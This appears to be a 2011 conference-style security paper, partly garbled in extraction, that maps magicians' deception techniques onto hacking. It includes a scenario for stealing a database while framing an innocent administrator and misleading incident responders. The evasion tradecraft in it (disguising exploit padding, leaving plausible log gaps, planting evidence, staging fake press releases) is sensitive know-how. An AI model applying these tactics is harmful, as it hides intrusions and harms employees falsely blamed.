................................................................................................................ 3 \nThe Fake ............................................................................................................... 3 \nThe Gimmick ....................................................................................................... 3 \nHuman Accessories ............................................................................................... 3 \nStooge.................................................................................................................... 4 \nUnwitting Accomplice ...................................................................................... 4 \nPsychological techniques ..................................................................................... 4 \nAppearance of normalcy .................................................................................. 4 \nMisdirection ......................................................................................................... 5 \nThe Sleight ........................................................................................................... 5 \nThe Feint............................................................................................................... 5 \nThe Bluff ............................................................................................................... 6 \nThe Subtlety......................................................................................................... 6 \nTemps ................................................................................................................... 7 \n ............................................................................... 8 \nAdvanced Misdirection Techniques .................................................................... 10 \nA detailed scenario .................................................................................................. 15 \nMastering the sleights ......................................................................................... 15 \nSetting up the Props ............................................................................................ 16 \nThe Impromptu Stooge ....................................................................................... 16 \nDay 1: Enter Stage Left ........................................................................................ 16 \nDay 2: Nothing up my sleeve! ........................................................................... 17 \nDay 3: Presto! ........................................................................................................ 17 \nDay 4: You’ve been a wonderful audience ..................................................... 17 \nDay 5: How did he do that? ............................................................................... 18 \nThe Moment of Truth? ........................................................................................ 19 \nThe Grand Finale .................................................................................................. 20 \nJune 22, 2011 \niii \nCopyright 2011, Electronic Grymoire LLC \nConclusion ................................................................................................................. 21 \nJune 22, 2011 \n1 \nCopyright 2011, Electronic Grymoire LLC \nLet’s say that a hacker desires to extract large amounts of \nintellectual property from a network. However, steganography and \ncovert channels would take too long. Instead, the hacker desires to \nobtain the information as quickly as possible, without alerting the \nvictims that the information was obtained. \nThis paper describes a technique to do this, by using the skills \nemployed by professional magicians and applying these techniques to \nhacking. \nMagicians have been deceiving people for hundreds1 2, or perhaps \nthousands3 of years. Hackers have, perhaps unknowingly, have applied \nthe basic principles of deception. This paper will show how the \ntechniques of Magic and Hacking are similar. The basic arsenal of \npsychological techniques used by magicians will be explained. \nParallels in hacking will be given. \nIn addition, these techniques can be combined to make hacking \nmore deceptive. To demonstrate the application of this, A scenario \nwill be explains where techniques of misdirection are used to succeed \nin extracting information without being detected. \nSeveral papers have been published on perception4, social \nengineering (scamming)5, and how it can fool people. This paper goes \nfurther than that, by explains deception that can fool incident \nresponse and forensics teams. \nThere are interesting parallels between the best hackers, and the \nbest magicians. Magicians have an economy based on ethical \nguidelines, and secrecy. Creating new and practical techniques is \nvaluable as it can be used to boost direct income (bookings) and \n1 Heironymous Bosch‟s painting, the Conjuror, dates from the 16th Century. \nhttp://en.wikipedia.org/wiki/The_Conjurer_%28painting%29 \n2 In 1584, Reginald Scot published The Discoverie of Witchcraft. The book is often deemed the first \nEnglish textbook about conjuring, as it explains how trickery can be done to explain the feats of “witches”. \n3 WikiProject Timeline of Magic, http://en.wikipedia.org/wiki/Timeline_of_magic \n4 Stephen L. Macknik, Mac King, James Randi, Apollo Robbins, Teller, John Thompson & Susana \nMartinez-Conde, “Attention and awareness in stage magic: turning tricks into research”; Nature Reviews \nNeuroscience 9, 871-879 (November 2008) \n5 Stajano, Frank; Wilson, Paul; “Understanding scam victims: seven principles for systems security”. \nTechnical Report Number 754, University of Cambridge. http:// www.cl.cam.ac.uk/techreports/UCAM-CL-\nTR-754.pdf \nJune 22, 2011 \n2 \nCopyright 2011, Electronic Grymoire LLC \nindirect income (marketing the information to others). Some \nmagicians keep their best and most valuable material private. When \nsecret techniques begin to become more public, magicians will often \nsell their better material to a select group of professionals. The older \nthe material, and the more common, the less it is worth, and the more \nthere are who use it. \nThe same is true for hackers. If you have unique skills, and can \nhack into sites using your private collection of zero-days, you have a \nhigher status in the eyes of your peers. A top-notch exploit, that works \n100% of the time, is worth more, perhaps up to $50,000. 6 \nThe more a secret is exposed, the less valuable it becomes. \nCompanies like TippingPoint, and Google7 are providing financial \nincentives to hackers. And once a secret is exposed, and becomes \npublic knowledge, (available to script kiddies), the value for these \nsecrets is much less. Magic secrets, like zero days, are priced \naccording to their secrecy and value. The more exposed something is, \nthe less valuable a secret becomes. \nAlso, the more secrets a magician knows, the more elite a magician \nis considered. Prestige is given to magicians who can fool other \nmagicians, and to hackers who can penetrate systems others cannot. \nThis is all based on secret knowledge. \nThere are more similarities, such as a preference for dressing in \nblack. However, that’s not the primary purpose of this paper. \nMagicians have long used a specialized vocabulary to describe the \nworkings of illusions. I should at first explain some of these terms, \nand describe the equivalent hacking term. \nFirst I will define some physical devices, which magicians call their \n“props.8” \nMagicians used physical devices, or props for many reasons. Many \nitems are ordinary, and therefore don’t require special mention. \nHowever, some are not ordinary. \n“Malware Attribution: Tracking Cyber Spies and Digital Criminals” BlackHat Briefings, 2010, Greg \nHogland 6 \n7 Google offered an additional $20K for Pwn2Own, http://solvater.com/2011/02/google-offering-20000-\nchrome-sandbox-exploit-pwn2own-2011/ \n8 Borrowing the term from Theater and Stage. The person responsible for all of the objects used on stage is \nthe Prop Master. Prop is short for Properties. \nJune 22, 2011 \n3 \nCopyright 2011, Electronic Grymoire LLC \nThe equivalent to a hacker is a program or machine. Most items in \na personal every day experience are exactly what they appear to be, \nSome are not. \nA “\n” is a device that has a normal function and a secret \nfunction. It is either a normal item secretly modified, or else it is built \nto have a secret function. \nFor instance, if I were to take a pencil and glue a small magnet to it, \nit is now “gaffed.” \nThe equivalent hacker technique is to create something, like a web \nsite, or a program, that has a hidden function. Any program with a \nhidden back door is gaffed. Typically this is done with using special \nwords or commands, URL’s that response to special keywords, \nkeystroke combinations, hidden mouse clicks, etc. When spamers \ndirect users to web sites for pharmaceuticals, the URL of the default \npage may seem completely innocent, to convince the hosting services \nthat the site is legitimate. Some systems have been hacked so when \nspecial keystroke combinations, like the Sticky Keys sequence, are \npressed, a special dialog box opens, allowing special priviledges. \nWeb sites with malware installed are gaffed. Any program with a \nback door is gaffed. \nA “\n” is a device that appears to be one object, but in reality is \nanother object. If I were to take a metal tube and paint it to look like a \npencil, it would be a fake, and not a gaff. \nIn hacking terms, a Trojan horse is a fake. A web site that appears \nto be another site (Man-in-The-Middle) is a fake. Social engineering and \nspam disguised as legitimate mail encourages people to visit a \nphishing site, which are usually a fake verision of the legitimate site. \nA “\n” is a secret device that provides a useful but unseen \nfunction. Gimmicks are not normally seen. Rootkits are gimmicks. \nAny hidden file, or file disguised as something else, is a gimmick. \nMagicians also use humans to create deception. \n9 Some older magic books use the term “feke.” \nJune 22, 2011 \n4 \nCopyright 2011, Electronic Grymoire LLC \nThe stooge is a secret accomplice, a confederate, a shill, or in \nhacking terms, an inside threat, depending on how much trust you \ngive them, and how well you know the stooge. A shill is someone \nunknown to the victim. At the other end of the trust spectrum is the \nInsider Threat. Usually the more trusted the Stooge is, the more \neffective is the illusion. In some cases, pretending to be the enemy of \nthe illusionist can be very effective10. This “Enemy of my Enemy” ploy \nis a very effect way to gain the trust of someone, and the more one \n“hates” a hacker, the more trust they can get from someone else who \n“hates” a hacker or hacker group. \nMagicians can use people as stooges, without their knowledge. \nThey help the hacking without realizing this. They may lie to them, or \ntell them something, so they help the magician unknowingly. \nSometimes magicians call this person an unwitting stooge or \naccomplice \nSocial Engineering creates unwitting accomplice. Books like \nMitnick’s11 and Hagnagy12 cover this in detail. \nThe Patsy, or Fall Guy \nThe Patsy, or Fall Guy, is someone who people assume is responsible, or who takes the \nblame. \nThere are other techniques of magicians, which might be \nconsidered psychology rather than physical. \nThe most important psychology to a magician is the appearance of \nnormalcy - that everything is as it appears to be, despite any secret \npreparation or modification. \nHarlan Tarbell emphasizes “Naturalness in Performing.”13 Dai \nVernon, also known as the “Professor,” stressed that lack of \nnaturalness as one of the reason magicians fail to deceive. \n10 Tarbell, Harlan, “Tarbell Course in Magic, Volume 2”, page 35. Louis Tannen, Publisher. Also described \nin Nelms, Henning, :Magic and Showmanship,”1969, Dover Publishing. Page 3 tells the story, told of \nFrederich Tilden performing The Charlatan. \n11 “The Art of Deception: Controlling the Human Element of Security” Mitnick, K. and Simon, L. \n12 “Social Engineering: The Art of Human Hacking” Hagnagy, C and Wilson, P. \n13 Tarbell, Harlan, Tarbell Course in Magic, Louis Tannen Publisher, 1944, Volume 1, Chapter 2, Page49 \nJune 22, 2011 \n5 \nCopyright 2011, Electronic Grymoire LLC \nA perfect illusion would be perfectly natural and logical. However, \nno illusion is perfect. Therefore magicians have to use other \ntechniques to hide the flaws in an illusion. \nAnything strange or unusual increases suspicion, and provides a \nclue to how an illusion works. They may not immediately understand \nthe exact technique, but they often could figure out when it happened, \nand by understanding the result, they can often retrospectively \ncomprehend the secret workings of a magic effect. \nIn hacking terms, the perfect hack is one that is completely \nundetected, even when examines in detail by a forensics team. \nMisdirection is the focusing of attention away from something. \nSome consider it to be merely the focusing of eyes away from \nsomething that can be seen. But this is just one example of attention. \nFocusing the thought process away from the true techniques used to \ncreate an illusion is just as important. Some of the techniques below \ncan be used to misdirect. However, misdirection deserves its own \nsection, and will be discussed later. \nA “\n” is a secret action or move. Anything that appears to be \none action, but has a secret action, is a sleight. A perfect sleight is \ncompletely undetectable.14 \nThe hacker equivalent is the exploit, such as a buffer overflow. It \nseems to be a normal library call, but the secret action is to launch a \nnew program. Any file that appears to be another file type is a sleight. \nA simple example is a program called picture.jpg.exe. A Windows \nmachine will often hide the extension, so the executable appears to be \na picture. Obviously, some sleights are more detectable than others. \nThe “\n” is defined15 as “a false show, a pretense, an imitation, a \nsimulation. It’s a movement that creates a false impression. For \ninstance, one can “feign” to pick up an object and place it in the other \nhand, and in reality the object never moves. Ideally, there should be \nno difference between a feint and the real action. \n14 There is a legendary move called the Fizbin Drop, which is supposedly the Perfect Sleight. I personally \nhave never seen it performed properly, and think it is just a myth or a joke. See Electronic Grymoire #423, \net al. Also see http://www.dennymagicsite.com/fizbin/index.html . \n15 Brown, E. “The Feints and Temps of Harry Riser”, Kaufman and Greenberg, 1996. This term was first \nintroduced by Jean-Paul Robert-Houdin, \nJune 22, 2011 \n6 \nCopyright 2011, Electronic Grymoire LLC \nIn hacking, one example is purposely looking like the computer is \nbusy, when nothing is happening. A more extreme example of a feint \nis to attack a machine for the purposes of misdirection, or to hide the \ntrue intention of an attacker. A brute force dictionary attack can be \nlaunched against a compromised server, creating the illusion that the \nattacker does not have access to the server. \nIt could also be used to hide another function. For instance, a \nhacker can use a brute force attack to covertly send information using \nsteganography, covert channels, etc. \nA “\n” is speaking or acting falsely. One definition is “An \nattempt to deceive someone into believing that one can or will do \nsomething.” This is like a feint, but with extreme attitude. In other \nwords, attention is drawn to the action. It is usually verbal or written. \nMagicians often do effects, called “sucker tricks”, that seems to have \nan obvious method. The magician will “bluff” the audience by acting \nas if one method is being used, and encourage the audience to believe \nthey guessed the “real method.” The magician pretends to not \nunderstand this. At the end, it is revealed that the obvious method is \n100% wrong, with a surprise ending. That is, the effect was \naccomplished by another method. \nSome hackers have taunted their victims. Hackers often bluff when \nbragging about their adventures to other hackers. It is also used to \nBluffing is the primary deception tool for social engineers and poker \nplayers. A honeypot is a defensive bluff, as it pretends to be what it is \nnot. \n“\n” – While this term is widely used, several “moves” have \nbeen labeled as a subtlety, instead of a sleight16. To be precise, a \nsubtlety is a move that performs no secret action, as the action is in \nplain sight. However, it creates a false impression. A subtlety is often \nillogical when considered closely. However, it escapes detection when \nseen casually. An example of a subtlety would be a magician placing \nan object in one pocket, and removing the “same” (not really) object \nfrom another pocket, to perform a switch, e.g. a real pencil for a fake \npencil. \nHacking examples include steganography and other covert \nchannels of information, such as exchanging information based on \ntiming, or error responses. \n16 Example, The Olram Subtlety, and the Ramsey Subtlety. \nJune 22, 2011 \n7 \nCopyright 2011, Electronic Grymoire LLC \n “\n” – The term is based on the French term a temps \noriginated by Robert-Houdin.17 It means an act or movement designed \nto divert the attention of the spectator. The more common term is \nmisdirection. \nHowever, the implication is that timing is critical for misdirection. \nTime as a factor by itself can be used, sometimes called Time \nMisdirection. Some magicians will prepare a year ahead of time, \nhoping the spectator forgets details. An example in the hacking work \nis to do port scans over long periods of time, say weeks or months. \nMisdirection occurs solely because of the extended use of time. \n17 Robert-Houdin, J.P. “The Secrets of Conjuring and Magic” \nJune 22, 2011 \n8 \nCopyright 2011, Electronic Grymoire LLC \nAs others have reported, people focus on things that interest them. \nWell known demonstrations include Daniel J. Simmons “Gorilla on the \nBasketball Court” video.18 \nPeople also ignore things that seem common, as demonstrated by \nRichard Wiseman with his “Amazing color changing card trick19,” \nwhere four other color changes occur undetected. \nThese and many more principles can be used to improve \nmisdirection and deception. I’ve already mentioned the importance of \nnormalcy, which I call Vernon’s \nThere are several corollaries to this principle. \n – \n. The closer a substitution \nor action is to the actual object or motion, the more likely it will \nappear to be natural and therefore innocent. \nMagicians spend most of their time perfecting their illusions to \nmake them seem as natural as possible. They practice with video \ncameras, and mirrors, to see how it looks to the viewer. They strive to \neliminate everything unnatural. They test the illusions with friends \nbefore attempting the illusion for real. Weeks or months of practice \nare typical. Spending mere minutes to perfect something is just \namateurish. \nUnnatural email is one of the biggest reasons phishing attempts \nfail. We laugh at spam with grammatical errors, because it looks so \nunnatural. The unnatural is suspicious. \nAnd the more the unnatural is hidden, or minimized, the better. \nConsider the task in making an exploit useful. First of all, it has to \nbe successful. Causing the system to crash would hardly be deceptive. \nIn actually increases suspicion. But let’s say the exploit works 100% of \nthe time. However, it creates two log entries classified as errors or \nalarms. If you can reduce the number of alarms to one, that’s better. If \nyou can eliminate any alarm, that’s better still. \nOr course, completely natural actions are best. Using valid \nauthentication credentials, such as reusable passwords, is normal, and \ntherefore is less suspicious than an exploit. Besides using authorized \n18 http://viscog.beckman.illinois.edu/flashmovie/15.php, http://www.theinvisiblegorilla.com/ \n19 http://richardwiseman.wordpress.com/ and http://www.youtube.com/watch?v=voAntzB7EwE \nJune 22, 2011 \n9 \nCopyright 2011, Electronic Grymoire LLC \ncredentials, credentials can be borrowed, such as the Pass-the-hash \nattack. Subtleties are better that sleights, if that is all that is needed. \nTherefore when hacking, attacks should mimic natural activities as \nmuch as possible to escape detection. \nCorollary #2 –Hide the unnatural. \nIf the unnatural action cannot be eliminated, then hide it. Create \nconditions that make the unnatural action hard to see. Mike Murray \nrealized the letters “cl” look like a “d”, and used the domain \n“orade.com” to impersonate the “oracle.com” domain. 20 He can \ntherefore make a site that looks 99.99% like the actual site, except for \na very small difference. \nSince magicians can usually control the performance, they can set \nup the illusion so the unnatural isn’t noticed. For example, the \naudience might not be allowed to be behind the magician. \nFor hacking, if most of the security alerts are logged in one file, \nmodifying the attack so the event is logged in another, rarely \nexamined file, or less information is captured, is an improvement in \ndeception. \nPayloads can be crafted so they seem more normal. Some exploits \nrepeat the same character to create padding. This might create a log \nentry, and the padding may show up in the logfile. Patterns like \n“AAAAAAAAAAAAAAAAAAAAAAAAA” attract the eye. Changing the \npadding so it looks like a typical log entry makes the exploit harder to \nspot. One can modify Metasploit scripts, and other frameworks, to \nmimic natural patterns. For example, an exploit in a HTTP header \noverflow21 can be triggered when a number of headers are exceeded. A \ntypical exploit would repeat a single header 31 times, while a more \nnatural approach would use headers similar to normal use. Shellcode \npayloads can even be described in English,22 to escape detection. \n.\n. If a magician can’t eliminate \nor hide anything unnatural, they find a way to justify it. Magicians can \ncreate situations that provide a reason for something odd. \n20 Pauldotcom.com podcast episode 232, http://www.pauldotcom.com/wiki/index.php/Episode232 \n21 \nhttp://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/http/ice\ncast_header.rb \n22 J. Mason, A. Small.,F Monrose, G. MacManus, “English Shellcode”, \nhttp://www.cs.jhu.edu/~sam/ccs243-mason.pdf \nJune 22, 2011 \n10 \nCopyright 2011, Electronic Grymoire LLC \nSocial engineers often use this principle. They create a situation \ncan “justifies” some unusual event, such as posing as a colleague from \nanother company who is trying to help a friend who is visiting. \nCorollary #4 –Make the unnatural natural. \nRepetition and false alarms reduce the unnaturalness of an attack. \nIf some other event can cause the unnatural to happen, then increase \nthe probability that this event can happen. \nSuppose you can make a failed exploit create the same log entry as \na successful exploit. If you then make that failed exploit part of a \nscript kiddie package, the target may see lots of these entries, and \n“know” that these are harmless, even when the real exploit left \nevidence. \nIf all else \nfails, then the magician can create events that prevent the audience \nfrom seeing the unnatural. This is where misdirection is used. \nOf course one can use the “Look over there!” type of misdirection. \nBut there are many other ways to do the same thing, which will be \ncovered next. \nAs a perfect illusion isn’t always possible, other techniques, \nespecially misdirection, can be used. There are different types of \nmisdirection. \n. This occurs when a performer tells the \naudience to look somewhere because something is about to happen. \nIn other words, if the magician tells the audience to look at something, \nthey usually do. This can be blatantly obvious (e.g. “Watch my hands!”) \nor subtle. If someone suspects misdirection, or bored by the topic of \nthe misdirection, etc. they may ignore the attempt to control their \nattention. \nHackers who like to taunt their victim can use Directed \nMisdirection, if it makes sense to the victim. Hackers can send an \nemail or instant message saying “Have you checked if your server is \nstill up? LOL” And of course the victim will then focus their attention \non this. Some hackers have combined this with a fake (like a modified \nremote login program), and trick their victim into executing a Trojan \nhorse, often combined with a Bluff as in this example. \nJune 22, 2011 \n11 \nCopyright 2011, Electronic Grymoire LLC \n occurs when an event occurs that is \nunexpected. The reaction to an unusual event is attention, and \nimmediate. To be successful the event has to be something that is of \ninterest to the person being deceived, so if the event is interesting, the \nvictim finds it hard to ignore. \nMagicians have several ways to do this. One well-known technique \nis to have an attractive assistant in a low-cut dress bend over showing \ncleavage. Asking a spectator a loaded question can also be used. \nSometimes eyes alone can accomplish the desired action.23 \nThis distraction can be tailored to the individual, or type of \nindividual24. The topic of the misdirection may be financial, sexual, \nphysical, emotional, etc. \nA related principle, known to scam artists, is \n. If \nyou understand the victim’s interests and motivations, you can control \nwhat they look at and how they react. \n is a variation that occurs when an \nobject has such unusual qualities; attention is immediately drawn to \nit. A magician may bring out some device that looks unlike anything \nelse. A server behaving in a strange fashion (such as randomly making \nnoises) will draw attention. In this case the event is interesting \nbecause it is abnormal.\nIn system penetrations fire alarms have been used to distract the \nvictims and hide the hacker’s activities. Other attacks may be based on \nsocial engineering, attacking the power and air conditioning25, or a \ndenial of service against another server26. Having the anti-virus system \nattack the operating system is another technique27 \n occurs when there is something that will \ncause the victim to focus their attention when it is discovered. \nHowever, attention is not drawn to it beforehand. It sits there waiting. \n23 Magicians Harlan Tarbell and John Ramsey made famous comments about the importance of eyes in \nmisdirection. \n24 ZigJoelFilm made a concentration test for men only. http://www.gjk2.com/test/test.swf \n25 Suggested by Larry Pesce in Episode 197 of Pauldotcom Security Weekly. \n26 Sony‟s PSN network suffered two attacked. One article reported “Hirai went on to claim that the \n[second] breach occurred at the same time as the DoS attack, which was not immediately detected because \nof its „sheer sophistication' and because a „system software vulnerability' was exploited.” \nhttp://www.scmagazineuk.com/sony-blames-anonymous-for-playstation-hack-but-confirms-it-has-not-\nidentified-those-responsible/article/202140/ \n27 http://abcnews.go.com/Technology/wireStory?id=10437730 “McAfee Anti-virus goes Beserk, Freezes \nPCs”. ABC news, April 21, 2010 \nJune 22, 2011 \n12 \nCopyright 2011, Electronic Grymoire LLC \nMagicians sometimes use these after an effect to confuse the \nspectator28 after an effect. \nOne disadvantage on of this is that the timing is not always \ncontrolled. That is, the person may look at the wrong place at the \nwrong time. \nI will describe a hacking equivalent later. \n occurs when a person is placed in a \nsituation where they have limited perception, and this is used to \nprevent them from seeing a secret action. Spectators are brought up \non stage, and it can be amusing when that spectator is fooled, yet \neveryone else sees how the trick is accomplished. Classic examples in \nmagic includes \n29, Slydini’s \n, and Corinda’s \n. The hacking equivalent \nwould be a “client” who complains about a problem that is only seen \nfrom their desktop. If the help-desk person remotely accesses that \ndesktop, so they can verify what the “victim” sees, they are \nconstrained to see when the client sees. The help desk person may be \ngiven access to a controlled environment, or through a different VPN \ntunnel. One can control experiences of the investigator, and hide other \nactivities during this action. This is an application of the \ncorollary \nMagicians often introduce delays \nbetween two events to make them seem unrelated. If two events are \nnecessary to accomplish something, and if these two events occur \ndays apart, and from two different IP addresses, the difficulty in \ncorrelating these events is harder. This is the \ncorollary, and a variant of the \n concept.\n – Magician Tony Slydini \ntaught his students that large motions hide small motions. The \nhacking analogy is a large obvious hack will hide a small hack, if \nperformed simultaneously. Exploiting one server while another is \nbeing DDoSed is an example. This is a way to accomplish \ncorollary \n – This applies to the 4th Corollary \n Magicians will often repeat actions. Repetition \ncauses relaxation, because the mind will filter out repetitious and \nunimportant actions. This may be done because the unusual action \n28 Lee Earle, is his book “Making Manifestations”, called them “Mind Bombs.” \n29 H. Tarbell, “Repeat Handkerchief Vanish”, Tarbell Course in Magic, Volume 1., 1941 \n30 http://www.youtube.com/watch?v=FW6oQZc_c80 \nJune 22, 2011 \n13 \nCopyright 2011, Electronic Grymoire LLC \ncan hide a secret sleight. By making the unusual action more “normal,” \nthe sleight is less detectable. A hacker can use this by making an \nexploit very similar to an unusual, yet harmless action, and repeat the \nunusual action until it becomes more “natural” by repetition. A \nvariation with an exploit may not be as easily detected. \nThe investigator may examine the first few occurrences, and when \nit is determined that the actions are harmless, and there are large \nnumber of them, the investigator may not notice the single anomaly. \n – A magician may act as if he is \nperforming a sleight, when he is not. The observant spectator may \nassume a sleight is in progress. For instance, a magician may move an \nobject from one hand to the other, but pretend that the object is still \nhidden in the first hand (Bluff). Typically the magician will later reveal \nthat the hand really is empty, as a joke. The False Alarm also draws \nthe attention of observant and intelligent spectators, and can be used \nby anticipating the victim’s reaction to suspicious moves. When it is \ndiscovered to be a false alarm, the victim often has to refocus their \nattention, and is more vulnerable to distraction at this time. However, \nthere are times when it is not discovered to be false. This is described \nnext. \nThere are not many examples of this in the hacking community. An \nexample could be running an exploit against a server when it’s already \nexploited. \n - Another techniques magicians’ \nuse is to create the situation so that the spectator draws a false \nconclusion on the technique used. The silk to hollow egg31 is one such \neffect, as is the “Backstage” illusion where the magician repeats the \neffect showing how it looks from the back. Of course as soon as the \nspectator understands how the effect works, the magician throws a \nspanner in the works, and by using another method the magician can \nfool the audience a second time. \nThere are many variations of this effect, even when the spectator \nknows the technique. Magicians love to duplicate the same effect that \nuse a gimmick, and they either use a different gimmick, or else use \nsleight of hand to replace the function of the gimmick, for the sole \npurpose of fooling those who know about the gimmick. \nAnother technique some magicians use is to purposely create \nsituations that suggest other methods are used. The spectator may \n31 H. Tarbell, “An Eggs-Troidinary Eggs-planation”, ibid. \nJune 22, 2011 \n14 \nCopyright 2011, Electronic Grymoire LLC \nthink they understand the method, but when they try to re-create the \nexact conditions, they find out that their method doesn’t work. \nThe False Conclusion was used by the FBI/DarkMarket sting \noperation.32 The FBI did not perform any illegal action. However, they \nwere able to create the illusion that they did, and therefore gain the \ncriminal’s trust. For example, when the FBI agent purchased some \ncredit card accounts, he reported them to the financial organization, \nwhich then shut the accounts down, citing the reason as “fraud.” The \nother criminals, who had a merchant account, saw this status on the \nnumber, and assumed the FBI agent did use the cards fraudulently, \nand was therefore trusted. \nA very simple example is to place a string inside malware that \nsuggests the malware came from another source, or by attacking a \nsystem from an IP address from a country different from the attacker. \nThere have been reports of a Shockwave file that has two \nattachments. The first is the EICAR test virus, and the second is actual \nmalware.33 This can fool both programs and humans. \nThis False Conclusion is extremely effective in deceptive attacks, as \nwill be described later. \n – Magicians may \nreveal, expose, or suggest one technique, especially if there is a \nsuperior method available. These techniques are also useful in \nhacking, as you will see later. This is related to the False Conclusion, \nas it explains how an action could occur, and indirectly makes the \nvictim assume a false conclusion. It also acts as misdirection, because \nit will encourage the victim to investigate if the inferior method was \nused. This delays the discovery of the proper solution. \n – Another common technique is \nto have multiple methods to accomplish the same effect, especially if \nthe effect is repeated. Someone familiar with one technique will see \nthat it cannot be used in all cases. They therefore conclude that it was \nnot used in any of the cases. \nIn hacking, an attacker may have three different ways to get into a \nsystem. The victim may find one, and fix this. If the attacker then gets \naccess to the system, the victim may conclude that this exploit was \nnot the method used to gain access. \n32 http://en.wikipedia.org/wiki/DarkMarket \n33 http://isc.sans.edu/diary/Strange+Shockwave+File+with+Surprising+Attachments/10612 \nJune 22, 2011 \n15 \nCopyright 2011, Electronic Grymoire LLC \n – Magicians will also distract the \naudience by switching a gaffed or fake object for the real object. If the \nobject is examined, and is normal, it could not possibly be used for \nthe illusion. Or so it seems. Malware that deletes itself is an example \nof a switch. \n– Magicians will \nhide the true workings of an illusion by destroying the gaff or fake, or \nby removing any evidence. However, there should be a logical reason \nfor the destruction, or else this will seem suspicious. In hacking some \nhackers wipe out the system logs to hide the forensics evidence. If the \nevidence can be destroyed without being obvious, it is much more \ndeceptive. A system log file that is empty is suspicious. A system log \nwith a few gaps in the record is harder to detect. \nAnother technique is to use social engineering to obtain evidence, \nsuch as creating a forged e-mail detailing how evidence will be \ngathered. The victim may then give the evidence to the attacker \nunknowingly, thus “destroying” it. \nNow that you understand the basic principles, this paper will create \na scenario that combines several techniques in a deceptive manner, as \na magician will combine several techniques for a single illusion. \nLet’s assume that the attacker wants to extract the contents of a \nlarge and valuable database of intellectual property from the XYZ \nCompany. However, there are three problems: a) the theft must be \nundetected during the theft, as the attempt will be aborted. b) The \ntheft should be undiscovered, as the data becomes more valuable. c) \nThere are time constraints. A slow extraction using steganography \nwould take too long. \nLet’s also assume the attacker is inside the network. \nHere’s how it can be done. \nOur attacker has several zero-day exploits. Let’s call the least \nvaluable exploit in the attacker’s collection the Fizbin Drop. Like a \nmagician mastering sleights, the exploits are mastered until perfected. \nThis means that they are constructed to appear as normal as possible. \nJune 22, 2011 \n16 \nCopyright 2011, Electronic Grymoire LLC \nIn addition, one of the key attributes, or evidence, of the Fizbin \nDrop is found in a binary object, inserted into a Microsoft Word \ndocument. Let’s call this file the Decoy File. It will be used later. It has \nan exploit, and a payload, which we will discuss later. It’s harmless, \nand used just for deception. \nThe props needed are placed inside the network. Gaffs and \ngimmicks and fakes are installed, waiting for use. The gimmicks are \nunseen, the gaffs appear normal, and the fakes are not closely \nexamined. The external web site has been gaffed so that new files can \nbe uploaded onto the server, and then after they are uploaded, they \ncan be made to appear with a simple “sleight.” \nThe audience is scanned, looking for a suitable stooge. Some \npreparations are done, and the hacker is now ready for the next phase. \nSomeone, whom we will call Unlucky Lucy, is one of the people \nresponsible for the database. Another system administrator is Ivy. But \nwe’ll talk about her later. \nFiles are placed in Lucy’s directory, hidden, but just barely. They \ncan’t been seen by a casual observation, but a detailed scan will reveal \nthese files (gimmicks). \nLucy also has a process where she can execute the distributing of \ncertain files to other computers. This process is gaffed, so special files \ncan be placed in the outgoing queue. \nMeanwhile, profiles on web forums are created with Lucy’s name. \nSome unusual opinions are posted in these public forums (\n). \nSome more work has to be done. The daily backup of the database \nis typically incremental (only new changes) instead of complete \n(copying all data). This has to be modified so that larger backups are \nnot considered unusual (\n). \nNow’s the time for the real misdirection to begin. Details of the \nFizbin Drop are released on Full Disclosure.34 Hackers start writing \nexploits. Anti-Virus companies start developing signatures. It will take \n34 http://seclists.org/fulldisclosure/ \nJune 22, 2011 \n17 \nCopyright 2011, Electronic Grymoire LLC \na few days before the signatures come out. (\n). \nNext, after an appropriate delay, a press release is sent to the \nmedia. It announces that due to declining revenue, the XYZ Company \nwill be providing services for the Adult industry. In other words, porn. \nThis happens Late Friday, giving time for the media to contemplate \nthe news. And of course XYZ does not provide a public key that can be \nused to verify the press release. \nAnd this point, the hacker sends a special command to the gaffed \nweb server, which then modified some pages so some new pages and \nfiles are now visible on the XYZ Company’s external web site. \nAnd the backups on the database increase in size. \nThe CEO is woken by a phone call from someone in a panic, telling \nhim about the faked press release.35 “Is this real?” they ask. This is \nobviously a Public Relations nightmare. A team is gathered, and \nanother press release is sent out denying the entire incident. \nMeanwhile, those new files on the external web site are discovered. \nSome anonymous email, some tweets, and some blog posts discuss the \ninteresting news that the web site now offers some adult services, \nalong with some extremely revealing pictures. \nThe CEO is again awoken to discover that his web site now has \nadult pictures, thereby proving the first Press Release was entirely \naccurate. In addition, another press release comes out announcing the \nnew section on the web site where these services are available. It also \nprovides the public key which can be used to verify the authenticity of \nthe digitally signed press release. This key, by the way, is also found \non other external web servers. Perhaps the hacker even gets the new \npress release on the company’s web site where press releases are \npublished. \nBloggers are saying this is a publicity stunt. Other bloggers are \nspreading rumors that the CEO is a sexual conservative, and that he is \nin disagreement with the others in the direction of the company. In \n35 The associated Press was fooled by a faked press release from “GE,” in April 2011. \nhttp://www.businessinsider.com/ge-press-release-hoax-2011-4 \nJune 22, 2011 \n18 \nCopyright 2011, Electronic Grymoire LLC \nother words, the second press release is wrong, and the first and third \nare correct. \nThe security team has shut down the site with porn, and then does \nan internal audit, trying to find out how these files appeared on the \nweb site. They noticed several anomalies in the logs, and they appear \nto have come from someone inside the company. They investigate \nfurther. \nMeanwhile, another anonymous email comes in, addressed to \nInnocent Ivy, describing how one of the employees of the company \nwas making comments on a public forum about “nothing wrong with \nporn” and how it’s profitable, and how “expect a big announcement.” \nAnd the email states that the name associated with the external \naccount is the same as Unlucky Lucy. Ivy reports this. (\n). \nAlso – using some sleight-of-hand, those Decoy files are replicated \nthroughout the company’s network, apparently by way of Unlucky \nLucy’s account. Some of the files associated with the creation of the \nmalware are also placed in Ivy’s account, \nThe hacker also sends a nasty email to Lucy, apparently from Ivy. \nLucy is shocked that Ivy did this. Ivy is of course Innocent of this. \nWell, an internal audit reveals that some of the porn files on the \nweb site are also in Lucy’s home directory. That’s strong evidence that \nLucy was responsible for the web site hack, and hR thanks Ivy for \nhelping identify the culprit. A Google search shows Lucy’s apparent \ninterest in porn. \nOf course Lucy denies it, but the evidence is strong. Lucy says she \ndid get a strange email from Ivy, threatening her. Perhaps Ivy did it? \nThe HR person obviously thinks Lucy is lying to save her job, and \nlooks at Lucy with pity. This is, or course, \nand\nMeanwhile the new anti-virus signatures are installed. Alarms are \ngoing off everywhere, indicating massive virus infection. The Decoy \nfile is found on everyone’s computer. They also trigger some malware \nthat opens up a connection to an outside web site, and sends large \namounts of information. The data is all random, but look like \n36 There is a discussion of the trustworthiness of forensic evidence in Bruce Schneier‟s blog, based on \nSergey Bratus‟s paper \"Software on the 